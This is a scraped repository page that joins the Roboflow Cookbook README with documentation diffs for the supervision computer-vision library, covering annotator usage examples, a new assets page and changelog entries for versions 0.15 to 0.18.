The Roboflow Cookbook is an open-source collection of examples and guides for building with the [Roboflow Ecosystem](https://roboflow.com/).
Cookbooks are meant to be common and small scoped computer vision tasks that can allow a user to quickly hit the ground running. Learning is the main goal and purpose.
Some examples require a Roboflow API key. You can [create a free account here](https://app.roboflow.com/login).
## Other Resources
Other than Cookbooks, Roboflow offers other learning resources including:
- A set of open source tools found on [Github](https://github.com/roboflow).
- A [blog](https://blog.roboflow.com/) detailing interesting tutorials, computer vision news, and product updates.
- A [Youtube channel](https://www.youtube.com/roboflow) with end to end commputer vision projects.
- A [forum](https://discuss.roboflow.com/) for sharing feedback, discussions, and other questions.
- The worlds largest [open source collection](https://universe.roboflow.com/) of images, datasets, and fine-tuned models.
Vendored
+1352 -1322
View File
File diff suppressed because one or more lines are too long
+302 -128
View File
@@ -1,16 +1,23 @@
---
comments: true
status: new
---
# Annotators
=== "BoundingBox"
```python
>>> import supervision as sv
import supervision as sv
>>> image = ...
>>> detections = sv.Detections(...)
image = ...
detections = sv.Detections(...)
>>> bounding_box_annotator = sv.BoundingBoxAnnotator()
>>> annotated_frame = bounding_box_annotator.annotate(
... scene=image.copy(),
... detections=detections
... )
bounding_box_annotator = sv.BoundingBoxAnnotator()
annotated_frame = bounding_box_annotator.annotate(
scene=image.copy(),
detections=detections
)
```
<div class="result" markdown>
@@ -19,19 +26,40 @@
</div>
=== "RoundBox"
```python
import supervision as sv
image = ...
detections = sv.Detections(...)
round_box_annotator = sv.RoundBoxAnnotator()
annotated_frame = round_box_annotator.annotate(
scene=image.copy(),
detections=detections
)
```
<div class="result" markdown>
![round-box-annotator-example](https://media.roboflow.com/supervision-annotator-examples/round-box-annotator-example-purple.png){ align=center width="800" }
</div>
=== "BoxCorner"
```python
>>> import supervision as sv
import supervision as sv
>>> image = ...
>>> detections = sv.Detections(...)
image = ...
detections = sv.Detections(...)
>>> corner_annotator = sv.BoxCornerAnnotator()
>>> annotated_frame = corner_annotator.annotate(
... scene=image.copy(),
... detections=detections
... )
corner_annotator = sv.BoxCornerAnnotator()
annotated_frame = corner_annotator.annotate(
scene=image.copy(),
detections=detections
)
```
<div class="result" markdown>
@@ -40,19 +68,19 @@
</div>
=== "BoxMask"
=== "Color"
```python
>>> import supervision as sv
import supervision as sv
>>> image = ...
>>> detections = sv.Detections(...)
image = ...
detections = sv.Detections(...)
>>> box_mask_annotator = sv.BoxMaskAnnotator()
>>> annotated_frame = box_mask_annotator.annotate(
... scene=image.copy(),
... detections=detections
... )
color_annotator = sv.ColorAnnotator()
annotated_frame = color_annotator.annotate(
scene=image.copy(),
detections=detections
)
```
<div class="result" markdown>
@@ -64,16 +92,16 @@
=== "Circle"
```python
>>> import supervision as sv
import supervision as sv
>>> image = ...
>>> detections = sv.Detections(...)
image = ...
detections = sv.Detections(...)
>>> circle_annotator = sv.CircleAnnotator()
>>> annotated_frame = circle_annotator.annotate(
... scene=image.copy(),
... detections=detections
... )
circle_annotator = sv.CircleAnnotator()
annotated_frame = circle_annotator.annotate(
scene=image.copy(),
detections=detections
)
```
<div class="result" markdown>
@@ -85,37 +113,58 @@
=== "Dot"
```python
>>> import supervision as sv
import supervision as sv
>>> image = ...
>>> detections = sv.Detections(...)
image = ...
detections = sv.Detections(...)
>>> dot_annotator = sv.DotAnnotator()
>>> annotated_frame = dot_annotator.annotate(
... scene=image.copy(),
... detections=detections
... )
dot_annotator = sv.DotAnnotator()
annotated_frame = dot_annotator.annotate(
scene=image.copy(),
detections=detections
)
```
<div class="result" markdown>
![circle-annotator-example](https://media.roboflow.com/supervision-annotator-examples/dot-annotator-example-purple.png){ align=center width="800" }
![dot-annotator-example](https://media.roboflow.com/supervision-annotator-examples/dot-annotator-example-purple.png){ align=center width="800" }
</div>
=== "Triangle"
```python
import supervision as sv
image = ...
detections = sv.Detections(...)
triangle_annotator = sv.TriangleAnnotator()
annotated_frame = triangle_annotator.annotate(
scene=image.copy(),
detections=detections
)
```
<div class="result" markdown>
![triangle-annotator-example](https://media.roboflow.com/supervision-annotator-examples/triangle-annotator-example.png){ align=center width="800" }
</div>
=== "Ellipse"
```python
>>> import supervision as sv
import supervision as sv
>>> image = ...
>>> detections = sv.Detections(...)
image = ...
detections = sv.Detections(...)
>>> ellipse_annotator = sv.EllipseAnnotator()
>>> annotated_frame = ellipse_annotator.annotate(
... scene=image.copy(),
... detections=detections
... )
ellipse_annotator = sv.EllipseAnnotator()
annotated_frame = ellipse_annotator.annotate(
scene=image.copy(),
detections=detections
)
```
<div class="result" markdown>
@@ -127,37 +176,58 @@
=== "Halo"
```python
>>> import supervision as sv
import supervision as sv
>>> image = ...
>>> detections = sv.Detections(...)
image = ...
detections = sv.Detections(...)
>>> halo_annotator = sv.HaloAnnotator()
>>> annotated_frame = halo_annotator.annotate(
... scene=image.copy(),
... detections=detections
... )
halo_annotator = sv.HaloAnnotator()
annotated_frame = halo_annotator.annotate(
scene=image.copy(),
detections=detections
)
```
<div class="result" markdown>
![ellipse-annotator-example](https://media.roboflow.com/supervision-annotator-examples/halo-annotator-example-purple.png){ align=center width="800" }
![halo-annotator-example](https://media.roboflow.com/supervision-annotator-examples/halo-annotator-example-purple.png){ align=center width="800" }
</div>
=== "PercentageBar"
```python
import supervision as sv
image = ...
detections = sv.Detections(...)
percentage_bar_annotator = sv.PercentageBarAnnotator()
annotated_frame = percentage_bar_annotator.annotate(
scene=image.copy(),
detections=detections
)
```
<div class="result" markdown>
![percentage-bar-annotator-example](https://media.roboflow.com/supervision-annotator-examples/percentage-bar-annotator-example-purple.png){ align=center width="800" }
</div>
=== "Mask"
```python
>>> import supervision as sv
import supervision as sv
>>> image = ...
>>> detections = sv.Detections(...)
image = ...
detections = sv.Detections(...)
>>> mask_annotator = sv.MaskAnnotator()
>>> annotated_frame = mask_annotator.annotate(
... scene=image.copy(),
... detections=detections
... )
mask_annotator = sv.MaskAnnotator()
annotated_frame = mask_annotator.annotate(
scene=image.copy(),
detections=detections
)
```
<div class="result" markdown>
@@ -166,19 +236,40 @@
</div>
=== "Polygon"
```python
import supervision as sv
image = ...
detections = sv.Detections(...)
polygon_annotator = sv.PolygonAnnotator()
annotated_frame = polygon_annotator.annotate(
scene=image.copy(),
detections=detections
)
```
<div class="result" markdown>
![polygon-annotator-example](https://media.roboflow.com/supervision-annotator-examples/polygon-annotator-example-purple.png){ align=center width="800" }
</div>
=== "Label"
```python
>>> import supervision as sv
import supervision as sv
>>> image = ...
>>> detections = sv.Detections(...)
image = ...
detections = sv.Detections(...)
>>> label_annotator = sv.LabelAnnotator(text_position=sv.Position.CENTER)
>>> annotated_frame = label_annotator.annotate(
... scene=image.copy(),
... detections=detections
... )
label_annotator = sv.LabelAnnotator(text_position=sv.Position.CENTER)
annotated_frame = label_annotator.annotate(
scene=image.copy(),
detections=detections
)
```
<div class="result" markdown>
@@ -190,16 +281,16 @@
=== "Blur"
```python
>>> import supervision as sv
import supervision as sv
>>> image = ...
>>> detections = sv.Detections(...)
image = ...
detections = sv.Detections(...)
>>> blur_annotator = sv.BlurAnnotator()
>>> annotated_frame = blur_annotator.annotate(
... scene=image.copy(),
... detections=detections
... )
blur_annotator = sv.BlurAnnotator()
annotated_frame = blur_annotator.annotate(
scene=image.copy(),
detections=detections
)
```
<div class="result" markdown>
@@ -208,29 +299,50 @@
</div>
=== "Pixelate"
```python
import supervision as sv
image = ...
detections = sv.Detections(...)
pixelate_annotator = sv.PixelateAnnotator()
annotated_frame = pixelate_annotator.annotate(
scene=image.copy(),
detections=detections
)
```
<div class="result" markdown>
![pixelate-annotator-example](https://media.roboflow.com/supervision-annotator-examples/pixelate-annotator-example-10.png){ align=center width="800" }
</div>
=== "Trace"
```python
>>> import supervision as sv
>>> from ultralytics import YOLO
import supervision as sv
from ultralytics import YOLO
>>> model = YOLO('yolov8x.pt')
model = YOLO('yolov8x.pt')
>>> trace_annotator = sv.TraceAnnotator()
trace_annotator = sv.TraceAnnotator()
>>> video_info = sv.VideoInfo.from_video_path(video_path='...')
>>> frames_generator = get_video_frames_generator(source_path='...')
>>> tracker = sv.ByteTrack()
video_info = sv.VideoInfo.from_video_path(video_path='...')
frames_generator = get_video_frames_generator(source_path='...')
tracker = sv.ByteTrack()
>>> with sv.VideoSink(target_path='...', video_info=video_info) as sink:
... for frame in frames_generator:
... result = model(frame)[0]
... detections = sv.Detections.from_ultralytics(result)
... detections = tracker.update_with_detections(detections)
... annotated_frame = trace_annotator.annotate(
... scene=frame.copy(),
... detections=detections)
... sink.write_frame(frame=annotated_frame)
with sv.VideoSink(target_path='...', video_info=video_info) as sink:
for frame in frames_generator:
result = model(frame)[0]
detections = sv.Detections.from_ultralytics(result)
detections = tracker.update_with_detections(detections)
annotated_frame = trace_annotator.annotate(
scene=frame.copy(),
detections=detections)
sink.write_frame(frame=annotated_frame)
```
<div class="result" markdown>
@@ -242,80 +354,142 @@
=== "HeatMap"
```python
>>> import supervision as sv
>>> from ultralytics import YOLO
import supervision as sv
from ultralytics import YOLO
>>> model = YOLO('yolov8x.pt')
model = YOLO('yolov8x.pt')
>>> heat_map_annotator = sv.HeatMapAnnotator()
heat_map_annotator = sv.HeatMapAnnotator()
>>> video_info = sv.VideoInfo.from_video_path(video_path='...')
>>> frames_generator = get_video_frames_generator(source_path='...')
video_info = sv.VideoInfo.from_video_path(video_path='...')
frames_generator = get_video_frames_generator(source_path='...')
>>> with sv.VideoSink(target_path='...', video_info=video_info) as sink:
... for frame in frames_generator:
... result = model(frame)[0]
... detections = sv.Detections.from_ultralytics(result)
... annotated_frame = heat_map_annotator.annotate(
... scene=frame.copy(),
... detections=detections)
... sink.write_frame(frame=annotated_frame)
with sv.VideoSink(target_path='...', video_info=video_info) as sink:
for frame in frames_generator:
result = model(frame)[0]
detections = sv.Detections.from_ultralytics(result)
annotated_frame = heat_map_annotator.annotate(
scene=frame.copy(),
detections=detections)
sink.write_frame(frame=annotated_frame)
```
<div class="result" markdown>
![trace-annotator-example](https://media.roboflow.com/supervision-annotator-examples/heat-map-annotator-example-purple.png){ align=center width="800" }
![heat-map-annotator-example](https://media.roboflow.com/supervision-annotator-examples/heat-map-annotator-example-purple.png){ align=center width="800" }
</div>
## BoundingBoxAnnotator
<div class="md-typeset">
<h2><a href="#supervision.annotators.core.BoundingBoxAnnotator">BoundingBoxAnnotator</a></h2>
</div>
:::supervision.annotators.core.BoundingBoxAnnotator
## BoxCornerAnnotator
<div class="md-typeset">
<h2><a href="#supervision.annotators.core.RoundBoxAnnotator">RoundBoxAnnotator</a></h2>
</div>
:::supervision.annotators.core.RoundBoxAnnotator
<div class="md-typeset">
<h2><a href="#supervision.annotators.core.BoxCornerAnnotator">BoxCornerAnnotator</a></h2>
</div>
:::supervision.annotators.core.BoxCornerAnnotator
## BoxMaskAnnotator
<div class="md-typeset">
<h2><a href="#supervision.annotators.core.OrientedBoxAnnotator">OrientedBoxAnnotator</a></h2>
</div>
:::supervision.annotators.core.BoxMaskAnnotator
:::supervision.annotators.core.OrientedBoxAnnotator
## CircleAnnotator
<div class="md-typeset">
<h2><a href="#supervision.annotators.core.ColorAnnotator">ColorAnnotator</a></h2>
</div>
:::supervision.annotators.core.ColorAnnotator
<div class="md-typeset">
<h2><a href="#supervision.annotators.core.CircleAnnotator">CircleAnnotator</a></h2>
</div>
:::supervision.annotators.core.CircleAnnotator
## DotAnnotator
<div class="md-typeset">
<h2><a href="#supervision.annotators.core.DotAnnotator">DotAnnotator</a></h2>
</div>
:::supervision.annotators.core.DotAnnotator
## EllipseAnnotator
<div class="md-typeset">
<h2><a href="#supervision.annotators.core.TriangleAnnotator">TriangleAnnotator</a></h2>
</div>
:::supervision.annotators.core.TriangleAnnotator
<div class="md-typeset">
<h2><a href="#supervision.annotators.core.EllipseAnnotator">EllipseAnnotator</a></h2>
</div>
:::supervision.annotators.core.EllipseAnnotator
## HaloAnnotator
<div class="md-typeset">
<h2><a href="#supervision.annotators.core.HaloAnnotator">HaloAnnotator</a></h2>
</div>
:::supervision.annotators.core.HaloAnnotator
## HeatMapAnnotator
<div class="md-typeset">
<h2><a href="#supervision.annotators.core.PercentageBarAnnotator">PercentageBarAnnotator</a></h2>
</div>
:::supervision.annotators.core.PercentageBarAnnotator
<div class="md-typeset">
<h2><a href="#supervision.annotators.core.HeatMapAnnotator">HeatMapAnnotator</a></h2>
</div>
:::supervision.annotators.core.HeatMapAnnotator
## MaskAnnotator
<div class="md-typeset">
<h2><a href="#supervision.annotators.core.MaskAnnotator">MaskAnnotator</a></h2>
</div>
:::supervision.annotators.core.MaskAnnotator
## LabelAnnotator
<div class="md-typeset">
<h2><a href="#supervision.annotators.core.PolygonAnnotator">PolygonAnnotator</a></h2>
</div>
:::supervision.annotators.core.PolygonAnnotator
<div class="md-typeset">
<h2><a href="#supervision.annotators.core.LabelAnnotator">LabelAnnotator</a></h2>
</div>
:::supervision.annotators.core.LabelAnnotator
## BlurAnnotator
<div class="md-typeset">
<h2><a href="#supervision.annotators.core.BlurAnnotator">BlurAnnotator</a></h2>
</div>
:::supervision.annotators.core.BlurAnnotator
## TraceAnnotator
<div class="md-typeset">
<h2><a href="#supervision.annotators.core.PixelateAnnotator">PixelateAnnotator</a></h2>
</div>
:::supervision.annotators.core.PixelateAnnotator
<div class="md-typeset">
<h2><a href="#supervision.annotators.core.TraceAnnotator">TraceAnnotator</a></h2>
</div>
:::supervision.annotators.core.TraceAnnotator
## ColorLookup
<div class="md-typeset">
<h2><a href="#supervision.annotators.core.ColorLookup">ColorLookup</a></h2>
</div>
:::supervision.annotators.utils.ColorLookup
+31
View File
@@ -0,0 +1,31 @@
---
comments: true
---
# Assets
Supervision offers an assets download utility that allows you to download video files
that you can use in your demos.
## Install extra
To install the Supervision assets utility, you can use `pip`. This utility is available
as an extra within the Supervision package.
!!! example "pip install"
```bash
pip install "supervision[assets]"
```
<div class="md-typeset">
<h2>download_assets</h2>
</div>
:::supervision.assets.downloader.download_assets
<div class="md-typeset">
<h2>VideoAssets</h2>
</div>
:::supervision.assets.list.VideoAssets
Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

+182 -57
View File
@@ -1,8 +1,133 @@
### 0.18.0 <small>January 25, 2024</small>
- Added [#633](https://github.com/roboflow/supervision/pull/720): [`sv.PercentageBarAnnotator`](/0.18.0/annotators/#percentagebarannotator) allowing to annotate images and videos with percentage values representing confidence or other custom property.
```python
>>> import supervision as sv
>>> image = ...
>>> detections = sv.Detections(...)
>>> percentage_bar_annotator = sv.PercentageBarAnnotator()
>>> annotated_frame = percentage_bar_annotator.annotate(
... scene=image.copy(),
... detections=detections
... )
```
- Added [#702](https://github.com/roboflow/supervision/pull/702): [`sv.RoundBoxAnnotator`](/0.18.0/annotators/#roundboxannotator) allowing to annotate images and videos with rounded corners bounding boxes.
- Added [#770](https://github.com/roboflow/supervision/pull/770): [`sv.OrientedBoxAnnotator`](/0.18.0/annotators/#orientedboxannotator) allowing to annotate images and videos with OBB (Oriented Bounding Boxes).
```python
import cv2
import supervision as sv
from ultralytics import YOLO
image = cv2.imread(<SOURCE_IMAGE_PATH>)
model = YOLO("yolov8n-obb.pt")
result = model(image)[0]
detections = sv.Detections.from_ultralytics(result)
oriented_box_annotator = sv.OrientedBoxAnnotator()
annotated_frame = oriented_box_annotator.annotate(
scene=image.copy(),
detections=detections
)
```
- Added [#696](https://github.com/roboflow/supervision/pull/696): [`sv.DetectionsSmoother`](/0.18.0/detection/tools/smoother/#detection-smoother) allowing for smoothing detections over multiple frames in video tracking.
- Added [#769](https://github.com/roboflow/supervision/pull/769): [`sv.ColorPalette.from_matplotlib`](/0.18.0/draw/color/#supervision.draw.color.ColorPalette.from_matplotlib) allowing users to create a `sv.ColorPalette` instance from a Matplotlib color palette.
```python
>>> import supervision as sv
>>> sv.ColorPalette.from_matplotlib('viridis', 5)
ColorPalette(colors=[Color(r=68, g=1, b=84), Color(r=59, g=82, b=139), ...])
```
- Changed [#770](https://github.com/roboflow/supervision/pull/770): [`sv.Detections.from_ultralytics`](/0.18.0/detection/core/#supervision.detection.core.Detections.from_ultralytics) adding support for OBB (Oriented Bounding Boxes).
- Changed [#735](https://github.com/roboflow/supervision/pull/735): [`sv.LineZone`](/0.18.0/detection/tools/line_zone/#linezone) to now accept a list of specific box anchors that must cross the line for a detection to be counted. This update marks a significant improvement from the previous requirement, where all four box corners were necessary. Users can now specify a single anchor, such as `sv.Position.BOTTOM_CENTER`, or any other combination of anchors defined as `List[sv.Position]`.
- Changed [#756](https://github.com/roboflow/supervision/pull/756): [`sv.Color`](/0.18.0/draw/color/#color)'s and [`sv.ColorPalette`](/0.18.0/draw/color/#colorpalette)'s method of accessing predefined colors, transitioning from a function-based approach (`sv.Color.red()`) to a more intuitive and conventional property-based method (`sv.Color.RED`).
!!! failure "Deprecated"
`sv.ColorPalette.default()` is deprecated and will be removed in `supervision-0.22.0`. Use `sv.ColorPalette.DEFAULT` instead.
- Changed [#769](https://github.com/roboflow/supervision/pull/769): [`sv.ColorPalette.DEFAULT`](/0.18.0/draw/color/#colorpalette) value, giving users a more extensive set of annotation colors.
- Changed [#677](https://github.com/roboflow/supervision/pull/677): `sv.Detections.from_roboflow` to [`sv.Detections.from_inference`](/0.18.0/detection/core/#supervision.detection.core.Detections.from_inference) streamlining its functionality to be compatible with both the both [inference](https://github.com/roboflow/inference) pip package and the Robloflow [hosted API](https://docs.roboflow.com/deploy/hosted-api).
!!! failure "Deprecated"
`Detections.from_roboflow()` is deprecated and will be removed in `supervision-0.22.0`. Use `Detections.from_inference` instead.
- Fixed [#735](https://github.com/roboflow/supervision/pull/735): [`sv.LineZone`](/0.18.0/detection/tools/line_zone/#linezone) functionality to accurately update the counter when an object crosses a line from any direction, including from the side. This enhancement enables more precise tracking and analytics, such as calculating individual in/out counts for each lane on the road.
### 0.17.0 <small>December 06, 2023</small>
- Added [#633](https://github.com/roboflow/supervision/pull/633): [`sv.PixelateAnnotator`](/0.17.0/annotators/#supervision.annotators.core.PixelateAnnotator) allowing to pixelate objects on images and videos.
- Added [#652](https://github.com/roboflow/supervision/pull/652): [`sv.TriangleAnnotator`](/0.17.0/annotators/#supervision.annotators.core.TriangleAnnotator) allowing to annotate images and videos with triangle markers.
- Added [#602](https://github.com/roboflow/supervision/pull/602): [`sv.PolygonAnnotator`](/0.17.0/annotators/#supervision.annotators.core.PolygonAnnotator) allowing to annotate images and videos with segmentation mask outline.
```python
>>> import supervision as sv
>>> image = ...
>>> detections = sv.Detections(...)
>>> polygon_annotator = sv.PolygonAnnotator()
>>> annotated_frame = polygon_annotator.annotate(
... scene=image.copy(),
... detections=detections
... )
```
- Added [#476](https://github.com/roboflow/supervision/pull/476): [`sv.assets`](/0.18.0/assets/) allowing download of video files that you can use in your demos.
```python
>>> from supervision.assets import download_assets, VideoAssets
>>> download_assets(VideoAssets.VEHICLES)
"vehicles.mp4"
```
- Added [#605](https://github.com/roboflow/supervision/pull/605): [`Position.CENTER_OF_MASS`](/0.17.0/geometry/core/#position) allowing to place labels in center of mass of segmentation masks.
- Added [#651](https://github.com/roboflow/supervision/pull/651): [`sv.scale_boxes`](/0.17.0/detection/utils/#supervision.detection.utils.scale_boxes) allowing to scale [`sv.Detections.xyxy`](/0.17.0/detection/core/#supervision.detection.core.Detections) values.
- Added [#637](https://github.com/roboflow/supervision/pull/637): [`sv.calculate_dynamic_text_scale`](/0.17.0/draw/utils/#supervision.draw.utils.calculate_dynamic_text_scale) and [`sv.calculate_dynamic_line_thickness`](/0.17.0/draw/utils/#supervision.draw.utils.calculate_dynamic_line_thickness) allowing text scale and line thickness to match image resolution.
- Added [#620](https://github.com/roboflow/supervision/pull/620): [`sv.Color.as_hex`](/0.17.0/draw/color/#supervision.draw.color.Color.as_hex) allowing to extract color value in HEX format.
- Added [#572](https://github.com/roboflow/supervision/pull/572): [`sv.Classifications.from_timm`](/0.17.0/classification/core/#supervision.classification.core.Classifications.from_timm) allowing to load classification result from [timm](https://huggingface.co/docs/hub/timm) models.
- Added [#478](https://github.com/roboflow/supervision/pull/478): [`sv.Classifications.from_clip`](/0.17.0/classification/core/#supervision.classification.core.Classifications.from_clip) allowing to load classification result from [clip](https://github.com/openai/clip) model.
- Added [#571](https://github.com/roboflow/supervision/pull/571): [`sv.Detections.from_azure_analyze_image`](/0.17.0/detection/core/#supervision.detection.core.Detections.from_azure_analyze_image) allowing to load detection results from [Azure Image Analysis](https://learn.microsoft.com/en-us/azure/ai-services/computer-vision/concept-object-detection-40).
- Changed [#646](https://github.com/roboflow/supervision/pull/646): `sv.BoxMaskAnnotator` renaming it to [`sv.ColorAnnotator`](/0.17.0/annotators/#supervision.annotators.core.ColorAnnotator).
- Changed [#606](https://github.com/roboflow/supervision/pull/606): [`sv.MaskAnnotator`](/0.17.0/annotators/#supervision.annotators.core.MaskAnnotator) to make it **5x faster**.
- Fixed [#584](https://github.com/roboflow/supervision/pull/584): [`sv.DetectionDataset.from_yolo`](/0.17.0/datasets/#supervision.dataset.core.DetectionDataset.from_yolo) to ignore empty lines in annotation files.
- Fixed [#555](https://github.com/roboflow/supervision/pull/555): [`sv.BlurAnnotator`](/0.17.0/annotators/#supervision.annotators.core.BlurAnnotator) to trim negative coordinates before bluring detections.
- Fixed [#511](https://github.com/roboflow/supervision/pull/511): [`sv.TraceAnnotator`](/0.17.0/annotators/#supervision.annotators.core.TraceAnnotator) to respect trace position.
### 0.16.0 <small>October 19, 2023</small>
- Added [#422](https://github.com/roboflow/supervision/pull/422): [`sv.BoxMaskAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.BoxMaskAnnotator) allowing to annotate images and videos with mox masks.
- Added [#422](https://github.com/roboflow/supervision/pull/422): [`sv.BoxMaskAnnotator`](/0.16.0/annotators/#supervision.annotators.core.BoxMaskAnnotator) allowing to annotate images and videos with mox masks.
- Added [#433](https://github.com/roboflow/supervision/pull/433): [`sv.HaloAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.HaloAnnotator) allowing to annotate images and videos with halo effect.
- Added [#433](https://github.com/roboflow/supervision/pull/433): [`sv.HaloAnnotator`](/0.16.0/annotators/#supervision.annotators.core.HaloAnnotator) allowing to annotate images and videos with halo effect.
```python
>>> import supervision as sv
@@ -17,46 +142,46 @@
... )
```
- Added [#466](https://github.com/roboflow/supervision/pull/466): [`sv.HeatMapAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.HeatMapAnnotator) allowing to annotate videos with heat maps.
- Added [#466](https://github.com/roboflow/supervision/pull/466): [`sv.HeatMapAnnotator`](/0.16.0/annotators/#supervision.annotators.core.HeatMapAnnotator) allowing to annotate videos with heat maps.
- Added [#492](https://github.com/roboflow/supervision/pull/492): [`sv.DotAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.DotAnnotator) allowing to annotate images and videos with dots.
- Added [#492](https://github.com/roboflow/supervision/pull/492): [`sv.DotAnnotator`](/0.16.0/annotators/#supervision.annotators.core.DotAnnotator) allowing to annotate images and videos with dots.
- Added [#449](https://github.com/roboflow/supervision/pull/449): [`sv.draw_image`](https://supervision.roboflow.com/draw/utils/#supervision.draw.utils.draw_image) allowing to draw an image onto a given scene with specified opacity and dimensions.
- Added [#449](https://github.com/roboflow/supervision/pull/449): [`sv.draw_image`](/0.16.0/draw/utils/#supervision.draw.utils.draw_image) allowing to draw an image onto a given scene with specified opacity and dimensions.
- Added [#280](https://github.com/roboflow/supervision/pull/280): [`sv.FPSMonitor`](https://supervision.roboflow.com/utils/video/#supervision.utils.video.FPSMonitor) for monitoring frames per second (FPS) to benchmark latency.
- Added [#280](https://github.com/roboflow/supervision/pull/280): [`sv.FPSMonitor`](/0.16.0/utils/video/#supervision.utils.video.FPSMonitor) for monitoring frames per second (FPS) to benchmark latency.
- Added [#454](https://github.com/roboflow/supervision/pull/454): 🤗 Hugging Face Annotators [space](https://huggingface.co/spaces/Roboflow/Annotators).
- Changed [#482](https://github.com/roboflow/supervision/pull/482): [`sv.LineZone.tigger`](https://supervision.roboflow.com/detection/tools/line_zone/#supervision.detection.line_counter.LineZone.trigger) now return `Tuple[np.ndarray, np.ndarray]`. The first array indicates which detections have crossed the line from outside to inside. The second array indicates which detections have crossed the line from inside to outside.
- Changed [#482](https://github.com/roboflow/supervision/pull/482): [`sv.LineZone.trigger`](/0.16.0/detection/tools/line_zone/#supervision.detection.line_counter.LineZone.trigger) now return `Tuple[np.ndarray, np.ndarray]`. The first array indicates which detections have crossed the line from outside to inside. The second array indicates which detections have crossed the line from inside to outside.
- Changed [#465](https://github.com/roboflow/supervision/pull/465): Annotator argument name from `color_map: str` to `color_lookup: ColorLookup` enum to increase type safety.
- Changed [#426](https://github.com/roboflow/supervision/pull/426): [`sv.MaskAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.MaskAnnotator) allowing 2x faster annotation.
- Changed [#426](https://github.com/roboflow/supervision/pull/426): [`sv.MaskAnnotator`](/0.16.0/annotators/#supervision.annotators.core.MaskAnnotator) allowing 2x faster annotation.
- Fixed [#477](https://github.com/roboflow/supervision/pull/477): Poetry env definition allowing proper local installation.
- Fixed [#430](https://github.com/roboflow/supervision/pull/430): [`sv.ByteTrack`](https://supervision.roboflow.com/trackers/#supervision.tracker.byte_tracker.core.ByteTrack) to return `np.array([], dtype=int)` when `svDetections` is empty.
- Fixed [#430](https://github.com/roboflow/supervision/pull/430): [`sv.ByteTrack`](/0.16.0/trackers/#supervision.tracker.byte_tracker.core.ByteTrack) to return `np.array([], dtype=int)` when `svDetections` is empty.
!!! warning
!!! failure "Deprecated"
`sv.Detections.from_yolov8` and `sv.Classifications.from_yolov8` as those are now replaced by [`sv.Detections.from_ultralytics`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_ultralytics) and [`sv.Classifications.from_ultralytics`](https://supervision.roboflow.com/classification/core/#supervision.classification.core.Classifications.from_ultralytics).
`sv.Detections.from_yolov8` and `sv.Classifications.from_yolov8` as those are now replaced by [`sv.Detections.from_ultralytics`](/0.16.0/detection/core/#supervision.detection.core.Detections.from_ultralytics) and [`sv.Classifications.from_ultralytics`](/0.16.0/classification/core/#supervision.classification.core.Classifications.from_ultralytics).
### 0.15.0 <small>October 5, 2023</small>
- Added [#170](https://github.com/roboflow/supervision/pull/170): [`sv.BoundingBoxAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.BoundingBoxAnnotator) allowing to annotate images and videos with bounding boxes.
- Added [#170](https://github.com/roboflow/supervision/pull/170): [`sv.BoundingBoxAnnotator`](/0.15.0/annotators/#supervision.annotators.core.BoundingBoxAnnotator) allowing to annotate images and videos with bounding boxes.
- Added [#170](https://github.com/roboflow/supervision/pull/170): [`sv.BoxCornerAnnotator `](https://supervision.roboflow.com/annotators/#supervision.annotators.core.BoxCornerAnnotator) allowing to annotate images and videos with just bounding box corners.
- Added [#170](https://github.com/roboflow/supervision/pull/170): [`sv.BoxCornerAnnotator `](/0.15.0/annotators/#supervision.annotators.core.BoxCornerAnnotator) allowing to annotate images and videos with just bounding box corners.
- Added [#170](https://github.com/roboflow/supervision/pull/170): [`sv.MaskAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.MaskAnnotator) allowing to annotate images and videos with segmentation masks.
- Added [#170](https://github.com/roboflow/supervision/pull/170): [`sv.MaskAnnotator`](/0.15.0/annotators/#supervision.annotators.core.MaskAnnotator) allowing to annotate images and videos with segmentation masks.
- Added [#170](https://github.com/roboflow/supervision/pull/170): [`sv.EllipseAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.EllipseAnnotator) allowing to annotate images and videos with ellipses (sports game style).
- Added [#170](https://github.com/roboflow/supervision/pull/170): [`sv.EllipseAnnotator`](/0.15.0/annotators/#supervision.annotators.core.EllipseAnnotator) allowing to annotate images and videos with ellipses (sports game style).
- Added [#386](https://github.com/roboflow/supervision/pull/386): [`sv.CircleAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.CircleAnnotator) allowing to annotate images and videos with circles.
- Added [#386](https://github.com/roboflow/supervision/pull/386): [`sv.CircleAnnotator`](/0.15.0/annotators/#supervision.annotators.core.CircleAnnotator) allowing to annotate images and videos with circles.
- Added [#354](https://github.com/roboflow/supervision/pull/354): [`sv.TraceAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.TraceAnnotator) allowing to draw path of moving objects on videos.
- Added [#354](https://github.com/roboflow/supervision/pull/354): [`sv.TraceAnnotator`](/0.15.0/annotators/#supervision.annotators.core.TraceAnnotator) allowing to draw path of moving objects on videos.
- Added [#405](https://github.com/roboflow/supervision/pull/405): [`sv.BlurAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.BlurAnnotator) allowing to blur objects on images and videos.
- Added [#405](https://github.com/roboflow/supervision/pull/405): [`sv.BlurAnnotator`](/0.15.0/annotators/#supervision.annotators.core.BlurAnnotator) allowing to blur objects on images and videos.
```python
>>> import supervision as sv
@@ -73,17 +198,17 @@
- Added [#354](https://github.com/roboflow/supervision/pull/354): Supervision usage [example](https://github.com/roboflow/supervision/tree/develop/examples/traffic_analysis). You can now learn how to perform traffic flow analysis with Supervision.
- Changed [#399](https://github.com/roboflow/supervision/pull/399): [`sv.Detections.from_roboflow`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_roboflow) now does not require `class_list` to be specified. The `class_id` value can be extracted directly from the [inference](https://github.com/roboflow/inference) response.
- Changed [#399](https://github.com/roboflow/supervision/pull/399): [`sv.Detections.from_roboflow`](/0.15.0/detection/core/#supervision.detection.core.Detections.from_roboflow) now does not require `class_list` to be specified. The `class_id` value can be extracted directly from the [inference](https://github.com/roboflow/inference) response.
